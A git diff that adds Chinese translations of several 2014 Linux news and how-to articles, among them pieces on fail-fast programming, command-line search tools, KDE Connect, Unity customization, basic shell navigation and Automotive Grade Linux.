+------------------------------------------------------------------------------- + +via:http://www.infoworld.com/t/linux/keep-eye-these-5-new-features-in-rhel-7-244023 + +译者:[love\_daisy\_love](https://github.com/CNprober) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.infoworld.com/t/linux/red-hat-enterprise-linux-7-beta-now-available-232520 +[2]:http://www.infoworld.com/t/application-virtualization/red-hat-fast-tracks-docker-apps-enterprise-linux-238122 +[3]:http://www.infoworld.com/t/application-virtualization/docker-unleashed-app-portability-gets-boost-231716 +[4]:http://www.infoworld.com/d/application-development/review-docker-10-ready-prime-time-243935 +[5]:http://www.projectatomic.io/ +[6]:https://www.suse.com/products/server/technical-information/ +[7]:https://www.suse.com/products/server/technical-information/ +[8]:http://developerblog.redhat.com/2013/11/19/exploratory-performance-pcp/ +[9]:http://oss.sgi.com/projects/pcp/index.html \ No newline at end of file diff --git a/published/201407/20140626 Joy of Programming--Fail Fast.md b/published/201407/20140626 Joy of Programming--Fail Fast.md new file mode 100644 index 0000000000..047cd1bf9d --- /dev/null +++ b/published/201407/20140626 Joy of Programming--Fail Fast.md @@ -0,0 +1,58 @@ +编程的乐趣:快速终止! +================================================================================ +![](http://www.opensourceforu.com/wp-content/uploads/2011/12/fail-350x262.jpg) + +> 当软件出现问题的时候,它应该以一种很容易引起注意的方式马上终止。这种“快速终止”的方式值得借鉴,我们会在这期专栏里谈谈这个重要的概念。 + +一开始,“快速终止”看上去是一种会影响可靠性的不好的实践——为什么一个系统在还可以继续运行的时候要崩溃(或者说终止)?对于这个,我们需要理解,快速终止是和Heisenbugs(对于不易复现bug的一种称呼)紧密联系在一起的。 + +考虑一下Bohrbugs(对于能够重现的bug的一种称呼),它们在一个给定输入的条件下总是会出现,比如,访问空指针。这类问题很容易测试、复现并修复。而如今,所有有经验的程序员应该都面对过这样的情形:导致崩溃的bug在重启软件后就不再出现了。不管花多少时间或努力去重现问题,那个bug就是跟我们捉迷藏。这种bug被称为Heisenbugs。 + +花在寻找、修复和测试Heisenbugs上的努力比起Bohrbugs来说,要高出一个数量级。一种避免Heisenbugs的策略是将它们转化为Bohrbugs。怎么做呢?预测可能导致Heisenbugs的因素,然后尝试将它们变成Bohrbugs。是的,这并不简单,而且也并不是一定可行,但是让我们来看一个能产生效果的特殊例子。 + +并发编程是Heisenbugs经常出现的一个典范。我们的例子就是一个Java里和并发相关的问题。在遍历一个Java集合的时候,一般要求只能通过Iterator的方法对集合进行操作,比如remove()方法。而在遍历期间,如果有另一个线程尝试修改底层集合(因为编程时留下的错误),那么底层集合就可能会被破坏(例如,导致不正确的状态)。 + +类似这种不正确的状态会导致不确定的错误——假如我们幸运的话(实际上,这很不幸!),程序可以继续执行而不会崩溃,但是却给出错误的结果。这种bug很难重现和修复,因为这一类的程序错误都是不确定的。换句话说,这是个Heisenbug。 + +幸运的是,Java Iterators会尝试侦测这种并发修改,并且当发现时,会抛出异常`ConcurrentModificationException`,而不是等到最后再出错——那样也是没有任何迹象的。换句话说,Java Iterators也遵从了“快速终止”的方法。 + +如果一个`ConcurrentModificationException`异常在正式版软件中发生了呢?根据在Javadoc里对这个异常的说明,它“只应该被用于侦测bug”。换句话说,`ConcurrentModificationException`只应该在开发阶段监听和修复,而不应该泄漏到正式代码中。 + +好吧,如果正式软件确实发生了这个异常,那它当然是软件中的bug,应当报告给开发者并修复。至少,我们能够知道曾经发生过一次针对底层数据结构的并发修改尝试,而这是软件出错的原因(而不是让软件产生错误的结果,或是以其他现象延后出错,这样就很难跟踪到根本原因)。 + +“防止崩溃”的途径就意味着开发健壮的代码。一个很好的编写容错代码的例子就是使用断言。很可惜的是,关于断言的使用有大量不必要的公开争论。其中主要的批评点是:它在开发版本中使用,而在发布版中却被关掉的。 + +不管怎么样,这个批评是错误的:从来没有说要用断言来替代应该放到发布版软件中的防御式检查代码。例如,断言不应该用来检查传递给函数的参数是否为空。相应的,应该用一个if语句来检查这个参数是否正确,否则的话抛出一个异常,或是提前返回,来适合上下文。然而,断言一般可以用于额外检查代码中所作出的假设,这些假设应该一直为真才正常。例如,用一个语句来检查在进行了入栈操作后,栈应该不是空的(例如,对“不变量”的检查)。 + +所以,快速终止,随时中断,那么你就走在开发更加健壮代码的道路上了。 + + + +-------------------------------------------------------------------------------- + +via:http://www.opensourceforu.com/2011/12/joy-of-programming-fail-fast/ + +译者:[zpl1025](https://github.com/zpl1025) 校对:[ReiNoir](https://github.com/reinoir) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]: +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: diff --git a/published/201407/20140630 How to access popular search engines from the command line on Linux.md b/published/201407/20140630 How to access popular search engines from the command line on Linux.md new file mode 100644 index 0000000000..b56cd66aa9 --- /dev/null +++ b/published/201407/20140630 How to access popular search engines from the command line on Linux.md @@ -0,0 +1,104 @@ +主流搜索引擎闯入Linux命令行世界 +================================================================================ +(LCTT译注:这里,我们姑且认为您身处能够访问Internet的地方!) + +为什么会有人要从终端搜索互联网上的东西?我不清楚,这里头可能有许多的原因。但是,因为没人要求答案总比没人知道答案少令人失望一点。这里,列出了一些流行的搜索引擎的命令行工具,可以让你们通过Linux终端来访问它们。 + +### 1. Google ### + +让我们从一个巨头开始吧:Bing!好吧,只是开个玩笑,事实上应该是Google。坦白讲,你根本不需要使用命令行工具来进行Google搜索。只需要简简单单的一个命令: + + $ xdg-open https://www.google.com/search?q="[query]" + + +它会打开网页浏览器,并转到合适的搜索页面。然而,如果你想要的是从终端窗口查看搜索结果,而不是打开什么网页浏览器,那么我推荐你使用[cli-google][1]。它是一个超级老古董了(最后一次更新是在2009年),但我喜欢它。这是一个简单而直接的应用,它会忠实地干好它应该干的事。 + +安装完cli-google后,你就可以开始用它来搜索了,它的输出是那样的五彩斑斓。你也可以调整搜索结果的数量和你想要的语言,你只需要在终端中敲入: + + $ google + +就可以看到所有的选项了。 + +![](https://farm6.staticflickr.com/5491/14330385480_91b0e138ee_z.jpg) + +### 2. YouTube ### +关于Google,有太多的东西要放进列表来。我会尽量简明扼要,但绝不会放过该有的。对于许多人而言,YouTube是他们快速查找相关内容视频的首选。要在终端中完成此事,我则钟情于[mps-youtube][2]。这个软件可以让你在终端中搜索、下载视频,创建播放列表,以及查看关于视频的评论。安装完mps-youtube后,你可以使用下面的命令来启动: + + $ mpsyt + +然后,输入 h 来查看选项。要查看简明用法,你可以像下面这样: + + /[query] + +来搜索你想知道的一切,然后输入视频的编号来听听它的声音,或者输入: + + i [video-number] + +来看看相关信息,也可以输入: + + d [video-number] + +来下载它。如果你觉得光听还不过瘾,这里还有更好玩的: + + set player mplayer + set show_video True + +现在,你可以在另外一个窗口里头用mplayer来播放视频了。 + +![](https://farm3.staticflickr.com/2925/14517040865_1d54ccce3b_z.jpg) + +### 3. 维基百科 ### +与Google一样,对于维基百科,我也喜欢一个古老的脚本,它干的不赖:[cliWiki][3]。安装完后,赶紧运行一下看看: + + $ cliwiki + +然后,你就可以输入你想要搜索的内容了。如果有直接匹配的条目,终端中就会显示相关页面了。哈,输出内容可真够长的,建议你还是用less命令来看吧。当然,这不是最高效的方法,但你的母的只是想要查看与关键词相关的文本,那这就是你想要的。 + +![](https://farm3.staticflickr.com/2903/14330600657_065d26cdf2_z.jpg) + +### 4. 海盗湾 ### +现在,让我们聊聊龌龊的东西。网上有很多意想不到的(也许你不觉得)工具,可以帮助你在命令行下查找海盗湾上的种子。而在这其中,[pirate-get][4]是我的最爱。它里面蕴藏了大量的选项,你可以通过下面的命令来发现它们: + + $ pirate-get -h + +但是还是简单一些吧: + + $ pirate-get --color -c [category] [query] + +以上命令会返回与查询内容相关的特定搜索类目中的结果,输出结果也是彩色的!那里头,程序会提示你输入你想要的结果的编号,输入后就可以从磁链上下载种子了。简单又容易,仅限于没有版权的资料哦! + +![](https://farm4.staticflickr.com/3923/14330448479_ae503561e6_z.jpg) + +### 5. Twitter ### +Twitter是迎合潮流的一个很好的搜索引擎。我们已经在[如何在命令行中访问Twitter][5]一文中介绍了它的用法,但是我个人更喜欢[TTYtter][6]。该工具及其强大,它应该有它自身的一席之地,而不再仅仅用于简单搜索了。但在这里,我只想把它当作搜索引擎使用。安装并配置完后,你就可以登陆进去,并使用下面的命令来搜索了: + + /search [query] + +界面在视觉上有点粗糙,但是你很快会习惯的。注意,这里头只能用普通的文字,也可以用哈希标记。 + +![](https://farm6.staticflickr.com/5077/14537153013_cc32a98b08_z.jpg) + +最后来小结一下吧,这里列出了我认为人们使用最多5大搜索引擎,这些搜索引擎都可以通过命令行来访问。这里Google图像和Google地图可能缺席了,但我想这些可能不能很好适应控制台环境吧。我也想要寻找一个音乐搜索引擎,但是没有找到对于本列表“有价值的”。就像你可能已经注意到的那样,列表中的工具在功能和选项上是良莠不齐的:其中一些很简单,而另外一些则功能很复杂。但不管怎么说,最后它们都还是完成了它们的任务。 + +列表中错失了哪些搜索引擎?你还知道哪些没有提到过的工具呢?请在文章评论中告诉我们吧。 + +---------- + +#### Adrien Brochard #### + +我是一位来自法国的Linux爱好者。在尝试了多个发行版后,我最后认可了Archlinux。然而,我一直在试着通过积累一些知识和技巧来改善我的系统。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/06/access-popular-search-engines-command-line-linux.html + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/henux/cli-google +[2]:https://github.com/np1/mps-youtube +[3]:https://github.com/AnirudhBhat/cliWiki.py +[4]:https://github.com/vikstrous/pirate-get +[5]:http://xmodulo.com/2013/12/access-twitter-command-line-linux.html +[6]:http://www.floodgap.com/software/ttytter/ diff --git a/published/201407/20140630 KDE Connect Adds Android File Sending, Touchpad Emulation.md b/published/201407/20140630 KDE Connect Adds Android File Sending, Touchpad Emulation.md new file mode 100644 index 0000000000..0ff2f836a6 --- /dev/null +++ b/published/201407/20140630 KDE Connect Adds Android File Sending, Touchpad Emulation.md @@ -0,0 +1,49 @@ +KDE Connect增加了安卓文件发送、触摸板模拟等功能 +================================================================================ + +![如今的KDE Connect 能在桌面和手机之间共享文件](http://www.omgubuntu.co.uk/wp-content/uploads/2014/06/kde-connect-share-feature.jpg) + +通过安卓版的KDE和Plasma Desktop可以将所连接设备的触摸屏当作电脑的触摸板使用。(注:Plasma 是KDE项目提供的所有图形环境总称。目前有三个Plasma子项目:Plasma Desktop用于传统的桌面电脑和笔记本电脑、Plasma Netbook用于上网本,以及Plasma Active用于平板电脑。) + +这个新附加的无线输入设备可以作为一般的鼠标使用,不过仍然不支持像双指划动或双指右击这样的多点触摸。(LCTT译注:双指右击指在触摸板上双指同时双击,代表鼠标右键点击) + +安卓的共享方式现在支持KED Connect,允许你从安卓发送文件到你的桌面,也可以通过Dolphin文件管理的菜单或者用命令行推送文件的方式,从桌面发送文件到安卓。 + +在[iOS 8 和 OS X Yosemite][1]、 [Android ‘L’ 和 Chrome OS][2]上的类似支持,计划在这个秋天首次亮相。 + +本次更新的版本修复了很多的漏洞,包括很多的改进和对FreeBSD系统的支持。 + +完整的特性如下: + +- 在安卓和KDE之间共享文件 +- 用平板电脑模拟触摸板 +- 在桌面接收来自安卓4.3以上版本的通知 +- 共享剪切板支持手机和PC之间的拷贝、粘贴 +- 可以遥控桌面上选定的媒体播放器 +- 电池状态 +- WI-FI连接共享 +- RSA加密 + +### KDE Connect 0.7版下载 ### + +从Google Play和F-Droid商店可以免费下载到KDE Connect Android的应用。 + +- [ 从Google Play下载KDE Connect][3] + +为了能用到这些最新特征,你需要安装Plasma的最新版本KDE Connect(0.7版)。撰写本文时,还没有提供deb安装包和PPA源。不过可以在Kubuntu 14.04 LTS上通过安装源码来安装,或用以下介绍方式[戳这里][4]。 + +- [下载KDE Connect 0.7源代码][5] + +-------------------------------------------------------------------------------- + +点击: http://www.omgubuntu.co.uk/2014/06/kde-connect-android-notifications-linux-desktop + +译者:[bookjoy](https://github.com/bookjoy) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.omgubuntu.co.uk/2014/06/os-x-10-10-feature-ubuntu-already +[2]:http://www.omgchrome.com/android-apps-notifications-call-alerts-chromebook/ +[3]:https://play.google.com/store/apps/details?id=org.kde.kdeconnect_tp +[4]:https://albertvaka.wordpress.com/2014/06/28/awesome-contributions-to-kde-connect/#comment-1175 +[5]:http://download.kde.org/unstable/kdeconnect/0.7/src/kdeconnect-kde-0.7.tar.xz.mirrorlist diff --git a/published/201407/20140630 New Linux Podcast App 'Vocal' Hits Beta, Ready for Testing.md b/published/201407/20140630 New Linux Podcast App 'Vocal' Hits Beta, Ready for Testing.md new file mode 100644 index 0000000000..68ae48fdb2 --- /dev/null +++ b/published/201407/20140630 New Linux Podcast App 'Vocal' Hits Beta, Ready for Testing.md @@ -0,0 +1,34 @@ +Linux 播客软件‘Vocal’进入Beta阶段,准备测试 +================================================================================ +**在四月份我们就被一款叫做['Vocal'][1]的Ubuntu下的播客软件吸引了,但它从一个漂亮的草图到能真正可用,还有一段路要走,而你则可以帮助我们测试一下Vocal。** + +该软件的开发者,Nathan Dyer已经完成了一个beta版本,仍然不够稳定,其中还有很多功能也未完成,但它已经可以通过专用的PPA在Ubuntu 14.04 LTS以及14.10版本下进行测试了。 + +新闻的发布者宣称,这个beta版本只能**安装在下一代Elementary OS桌面的系统中**。并且自从Elementary OS不再为用户提供官方的Beta预览版后,让测试这事更加的麻烦了。 + +对于Unity、GNOME或者KDE来说试试也许并不太难,我想大概。如果你是Ubuntu的用户,想要试用Vocal,首先得安装不稳定版的Elementary OS的PPA,通常我们都不是很建议这样做。 + +Dyer建议感兴趣的用户等待下一代的Elementary OS桌面的beta版本开发完毕吧。 + +现在,我们只能望梅止渴了。 + +![Vocal Beta 在 Elementary OS中 (图: Dyer)](http://www.omgubuntu.co.uk/wp-content/uploads/2014/06/vocal-beta.png) + +Vocal Beta 在 Elementary OS中(图: Dyer) + +因为Vocal是开源的,那将没有任何东西能阻挡它被完美的移植到类似Unity的主流Linux桌面系统中。 + +了解更多请访问[开发者的Blog][1]、[查看最新版本][2]或者在Launchpad.net上[查看Vocal的最新信息][3] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/06/linux-podcast-app-vocal-hits-preview-kicker + +译者:[nd0104](https://github.com/nd0104) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.omgubuntu.co.uk/2014/04/vocal-podcast-manager-linux +[2]:http://nathandyer.me/2014/06/28/vocal-beta-released-daily-ppa-available/ +[3]:https://launchpad.net/~nathandyer/+archive/vocal-daily +[4]:https://launchpad.net/vocal diff --git a/published/201407/20140630 Ubuntu 14.04 LTS--Customizing Unity.md b/published/201407/20140630 Ubuntu 14.04 LTS--Customizing Unity.md new file mode 100644 index 0000000000..eb3726fe6f --- /dev/null +++ b/published/201407/20140630 Ubuntu 14.04 LTS--Customizing Unity.md @@ -0,0 +1,67 @@ +Ubuntu 14.04 LTS: 定制 Unity +================================================================================ +虽然Unity桌面管理器自从伴随 Ubuntu 11.10首次发布以来表现出了强劲的性能,并在可用性上迈进了一大步,但是有人对自定义其外观和行为所带的限制感到反感。我们现在来看看如何自定义Unity,让你重拾自己掌控桌面的感觉。 + +### Unity中的可用定制项目 ### + +在ubuntu 14.04中,Unity 有一些以前没有的可定制项。登入你的 Unity,进入“设置”并选择“显示”,你将看到以下画面: + +![Ubuntu 14.04 LTS Display and Unity Settings](https://linuxacademy.com/blog/wp-content/uploads/2014/06/unitysettings.png) + +Ubuntu 14.04 LTS 显示和 Unity 设置 + +你看到的大多数项目相比 Ubuntu 11.01 而言都是新的,而且一些相比较上一个版本的 Ubuntu13.10 也是新的。从Ubuntu13.10开始,Ubuntu加入了可以改变菜单栏和标题栏大小的新特性。 + +Unity中所特有的一个特性是我们能够打开或者关闭的“粘性边缘”功能,它能让你的鼠标停止在多显示器组的每个屏幕的边缘,它使光标暂时停在边缘,仿佛是鼠标卡住了一样,我们可以选择关闭它。(LCTT译注,其实我觉得挺有用的,可以避免无意中切换到其他工作桌面,不要关闭) + +在“设置”中选择“外观”选项,可以看到如下画面。 + +![Ubuntu 14.04 LTS Appearance and Unity Settings](https://linuxacademy.com/blog/wp-content/uploads/2014/06/unityappearance.png) + +Ubuntu 14.04 LTS 显示和Unity设置 + +这里我们可以看到一个人们最渴望在 Unity 启动器栏中包含的功能-能够改变启动器大小。虽然在Ubuntu 11.10及以后的各种版本中可以通过多种方法实现这个特性,但将其放入外观设置中使其显得更加正式。我喜欢它能将启动器图标缩小直至16的功能(我们接下来所要讲到的工具仅能支持最小调至24)。 + +### Unity Tweak Tool-强大! ### + +在Unity首次伴随Ubuntu 11.10发布的几天之内这款工具就跟着出现了,只是你得大费周折去自己把它安装好而且在Unity升级时它可能会损坏。 + +然而现在它被正式添加进了Ubuntu的默认软件仓库并且会在Unity更新时同时更新。它附带大量的定制项,那么我们就来安装它吧: + + sudo apt-get install unity-tweak-tool + +安装好,启动后你将看到如下画面: + +![Ubuntu 14.04 LTS Official Unity Tweak Tool](https://linuxacademy.com/blog/wp-content/uploads/2014/06/unitytweaktool.png) + +正式的Unity Tweak Tool + +这款工具它集大量Unity桌面定制项目于一体。这些定制项大多能通过默认的Unity设置,命令行操作或者是即使是编辑有时候也很难寻找到的配置文件来实现。 + +我们可以改变启动器栏,网页小程序和面板的行为,可以在Unity菜单中搜索等等。所有的都通过着一个工具来实现。花些时间去挖掘适合你的选项-Unity Tweak Tool-学习它,和它一起生活,爱上它(如果你使用Unity,这是起码的) + +### 结尾的一些想法 ### + +Ubuntu 14.04 LTS 越来越被人们视作Linux上的典型的Desktop,(对不起,Canonical,你还没有摆脱Linux身份),Linux Desktop不仅可以作为偶尔使用Linux的那些人(的确有这样的事)的选择,也适用于骨灰级linux专家。 + +比之前没有工具,功能可以定制,或是通过配置文件修改定制但是有可能被之后个更新所破坏,现在对于Unity桌面我们就拥有了更多的控制权。Unity桌面性能强劲可靠,又通过Unity Tweak Tool加入一些特色元素,使得它的外观也酷极了!!! + +请给我们你的想法或者点击链接发表你对Unity桌面的评论,我们将有兴趣知道你是如何使用Ubuntu 14.04 LTS 的。 + + +---------- + +#### Terrence T. Cox #### + +开发者,Linux倡导者,开源爱好者。 进入这个技术领域很久,被认为经验丰富,但从未感到厌倦。 +[Twitter][1] + +-------------------------------------------------------------------------------- + +via: https://linuxacademy.com/blog/linux/ubuntu-14-04-lts-customizing-unity/ + +译者:[Love-xuan](https://github.com/Love-xuan) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://twitter.com/mourngrymtc/ diff --git a/published/201407/20140701 Command Line Tuesdays--Part Two.md b/published/201407/20140701 Command Line Tuesdays--Part Two.md new file mode 100644 index 0000000000..6f1113c7cd --- /dev/null +++ b/published/201407/20140701 Command Line Tuesdays--Part Two.md @@ -0,0 +1,68 @@ +命令行星期二 —— 第二篇 +================================================================================ +Hi,极客们! + +让我们来更新一下我们的记忆。[上周][1],我们学习了一些基础命令,了解了shell是什么,同时介绍了我们CLI的星期二系列。 + +今天的菜单将提供点别的东西:通过文件系统导航。 + +现在,我设法找到最好的图片是从一个叫[devopsbootcamp][2]的网站。你可以在上面找到他们其余的教程。但无论如何,这是一个关于Linux根文件系统的看起来非常不错的图。 + +![Filesys](http://devopsbootcamp.readthedocs.org/en/latest/_images/hierarchy.jpg) + +例如,在上面的图片说明中,你的用户目录(你通常用来存储你的电影,音乐,文档等)是位于/home文件夹下。 /home文件夹位于/。然后,/下有个 /etc 文件夹,其中文件大部分为配置文件。无论如何,你可以在这里找到详细的描述,因为我们将进入这些文件夹来了解他们的功能,直到我们开始使用和配置它们。今天是仅用于导航。而关于这一点,让我们来开始今天的第一个命令... + +### pwd ### + +pwd,或者 ‘Print Working Directory’,当你觉得在文件丛林之中迷失了方向时是一个非常有用的命令。在任何给定时刻,键入pwd命令,瞧!这是你到达这个文件夹的完整路径。在电影《异次元杀阵(The Cube)》里的那些家伙总在用它,这些笨蛋! + +![Cube](http://bloody-disgusting.com/images/news/cube2review1.gif) + + +想象一下,自己在一个巨大的公寓里面从一个房间走到另一个房间房间,迷路了。 pwd就像面包屑指引着你到你的出发点,这样你就不会在文件夹迷宫里面失去你的方向! + +![pwd](http://redhat.activeventure.com/73/gettingstartedguide/figs/basics/pwd.png) + +### cd ### + +现在你学习了如果想知道自己在哪个目录的pwd命令的用法。现在,你要做的下一步骤就是移动到另一个目录。比方说,你在你的home文件夹下有一个文件夹(目录),你要将你的绝密的东东放到里面。要这样做,你需要使用用'cd'命令。 cd,或‘Change Directory’,将改变所处目录的位置。你怎么使用它呢?简单,键入cd和你的文件夹路径。比方说,例如,你想从你的主文件夹进入你的Hello Kitty图片集。你输入‘cd /home/username/Hello\ Kitty’。 + +正如你看到的,我们并没有只使用文件夹名称的空格键。这是因为终端将无法识别它。每当你要导航到它的名称中有空格的文件夹,你**用反斜杠字符,后跟空格**代替它。您也可以不使用反斜杠+空格选项,只是把**整个文件夹名称加引号**,例如,cd /home/username/ "Hello Kitty"。 + +![cd](http://blogote.com/wp-content/uploads/2010/06/terminal-cd-desktop.png) + +自己尝试一下。使用cd导航到不同的目录,同时,键入pwd命令,看看一切工作是否如期望的那样。 + +### 肖茨先生的快捷键 ### + +肖茨先生提醒我们也有一些可用的快捷键。 + +如果你仅键入cd,不带路径,你的终端将从你的工作目录(无论是不是)切换到你的/home文件夹。 + +同样地,如果你键入 cd `~user_name` 它会带你到你指定的特定用户的主文件夹。 + +### 下周 ### + +下周,我们将进入到下一章 - 我们将学习如何列出文件和目录,查看文本文件和文件的内容,因此会比之前我们已经学习的有更多的工作,但我希望你将会有足够的时间。一条命令又一条命令,如果你没有时间自己学习的话,那让我们在几个月内一起学习基础知识吧! + +同时,记得... + +### …玩得开心! ### + +P.S.:感谢bwl的评论,我们修正了一个在目录名称中包含空格的文本的一个错误。 + +P.P.S:GreatEmerald还增加了有关文件层次结构的一些新信息。您可以在[意见][3]中阅读。 + +感谢你们的贡献和更正 + +-------------------------------------------------------------------------------- + +via: https://news.opensuse.org/2014/06/24/command-line-tuesdays-part-two/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-3300-1.html +[2]:http://devopsbootcamp.readthedocs.org/ +[3]:https://news.opensuse.org/2014/06/24/command-line-tuesdays-part-two/comment-page-1/#comment-99186 diff --git a/published/201407/20140701 Here Are 5 Amazing Ascii Art Generators.md b/published/201407/20140701 Here Are 5 Amazing Ascii Art Generators.md new file mode 100644 index 0000000000..010b688802 --- /dev/null +++ b/published/201407/20140701 Here Are 5 Amazing Ascii Art Generators.md @@ -0,0 +1,39 @@ +五个超赞的字符艺术生成器! +================================================================================ +![](http://www.efytimes.com/admin/useradmin/photo/nin511907PM712014.jpg) + +ASCII是一个非常吸引人的字符编码系统,在计算机,通讯设备,以及其他设备中,通过它来用代码表示字符。新生代的人可能会觉得它已经过时了,但是那些熟悉它的人会懂得ASCII是多么的独特。我们在这里为你准备了五个超赞的ASCII字符艺术生成器。 + +### 1.[GlassGiant ASCII Art][1] ### + +这个小程序可以把图片转换成ASCII文字艺术-一堆胡乱堆在一起的文字,数字和符号,看上去没有任何意义,直到你往后站一步去看完整的画面。它也没有什么实际的用途,只是看上去非常简洁灵巧。 + +### 2.[ASCII Art Generator][2] ### + +ASCII字符艺术是一种在电脑上把可打印字符作为图片元素来拼接展现一幅图像的艺术活动。你所需要做的只是上传你的图片,然后它会帮你转成ASCII字符艺术。 + +### 3.[Ascii.mastervb][3] ### + +ASCII字符艺术来源于7比特ASCII字符标准。ASCII字符艺术曾经在70-80年代很流行。在那个时候,计算机系统都还是基于字符的。这个程序可以非常快地把图片转换成ASCII字符。 + +### 4.[IMG2TXT][4] ### + +这个脚本可以将GIF,JPG或PNG的链接转换成ASCII字符或是带颜色的HTML。 + +### 5.[picascii][5] ### + +它可以把图片转换成ASCII文本或是HTML。要做转换,你只需要输入链接地址或是选择一张你电脑上的图片(gif/jpeg/png)。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=142480 + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://glassgiant.com/ascii/ +[2]:http://www.ascii-art-generator.org/ +[3]:http://ascii.mastervb.net/ +[4]:http://www.degraeve.com/img2txt.php +[5]:http://picascii.com/ diff --git a/published/201407/20140701 How To Add Multiple Timezones In Ubuntu 14.04 [Quick Tip].md b/published/201407/20140701 How To Add Multiple Timezones In Ubuntu 14.04 [Quick Tip].md new file mode 100644 index 0000000000..48fae9f0be --- /dev/null +++ b/published/201407/20140701 How To Add Multiple Timezones In Ubuntu 14.04 [Quick Tip].md @@ -0,0 +1,42 @@ +[小白技巧]如何在Ubuntu 14.04中添加多个时区时间 +================================================================================ +如果你需要和多时区时间打交道的话,你一定希望你的电脑时钟可以显示多个时区的时间。作为一个移居国外的人,我需要关注法国和印度的时间。在Ubuntu系统中,你可以进行简易的设置来添加多时区时间。 + +在这次的使用技巧中,我们会了解到 **如何在Ubuntu 14.04系统中添加多时区时间**。 + +### 在Ubuntu 14.04系统中添加多时区时间 ### + +打开系统设置(按下标有微软徽标的按键,在Dash中搜索“系统设置”),进入“时间&日期”选项。 + +接下来,进入**时钟**标签页,找到**其他时区时间**选项,然后点击**选择地区**按钮。 + +![Add multiple timezones in Ubuntu](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/06/Timezone_Ubuntu.jpeg) + +在新打开的窗口中,你可以**输入一个地区**,之后相应的结果会在下面显示出来。选择你想添加的地区,然后**点击下面的加号标志(+)**来添加。 + +![Adding timezone in Ubuntu](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/06/Add_Timezone_Ubuntu.png) + +完成了这些工作之后,你就可以在系统时钟处看到其他地区的时间了。 + +![multiple timezone displayed in Ubuntu 14.04](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/06/Multiple_Timezones_display_Ubuntu.png) + +体验下Ubuntu多时区时钟给你带来的便捷吧。:) + +---------- + +![](http://0.gravatar.com/avatar/20749c268f5d3e4d2c785499eb6a17c0?s=80&d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D80&r=G) + +#### 关于 Abhishek #### + +我叫Abhishek Prakash,是It's F.O.S.S的创始人。我获得了通信系统工程硕士学位。我是一个狂野的Linux爱好者和开源痴迷者。我在使用Ubuntu系统并且希望和大家分享知识和经验。出了Linux,我还很喜欢经典侦探悬疑电影。我是阿加莎-克里斯蒂的超级粉丝。你可以在[Google Plus][g]上添加我到你的好友圈,也可以[在twitter上关注 @abhishek_pc][t]。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/add-multiple-timezones-ubuntu-1404/ + +译者:[JonathanKang](https://github.com/JonathanKang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[g]:https://plus.google.com/u/0/110180944531110746460 +[t]:https://twitter.com/abhishek_pc diff --git a/published/201407/20140702 Automotive Grade Linux Released for Open Source Cars.md b/published/201407/20140702 Automotive Grade Linux Released for Open Source Cars.md new file mode 100644 index 0000000000..cdd5a9a454 --- /dev/null +++ b/published/201407/20140702 Automotive Grade Linux Released for Open Source Cars.md @@ -0,0 +1,112 @@ +安装体验开源车载系统Automotive Grade Linux +================================================================================ +> Linux基金会和他的合作伙伴本周发布了Automotive Grade Linux的第一个版本,这是一个在连网汽车内部使用的开源平台。 + +![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2014/07/automotivelinux.jpg) + +随着本周 [Automotive Grade Linux][1](AGL)的第一个版本的发布,这个在物联网时代专为汽车定制的Linux发行版将转变为一个新的生态系统。 + +AGL是由Linux基金会发起的合作项目,Linux基金会汇集了来自汽车行业,通信,计算硬件,学术界和其他领域的合作伙伴。AGL的第一个版本于6月30号发布在网上并且在可[免费下载][5],这个开源操作系统基于[Tizen IVI][4]。Tizen IVI是一个基于Linux的平台,它被用于为广泛的设备提供操作系统解决方案,从智能手机,到电视,汽车,笔记本电脑。 + +![](http://automotive.linuxfoundation.org/sites/automotive.linuxfoundation.org/files/features/agl-jlr_0.png) + +在第一个版本中,AGL提供了一系列的功能和为汽车(或其他车辆)部署定制的应用程序,包括: + +- 主屏幕 +- 仪表盘 +- 谷歌地图 +- 暖通空调 +- 媒体回放 +- 新闻阅读器 +- 音响控制 +- 蓝牙手机 +- 智能设备连接集成 + 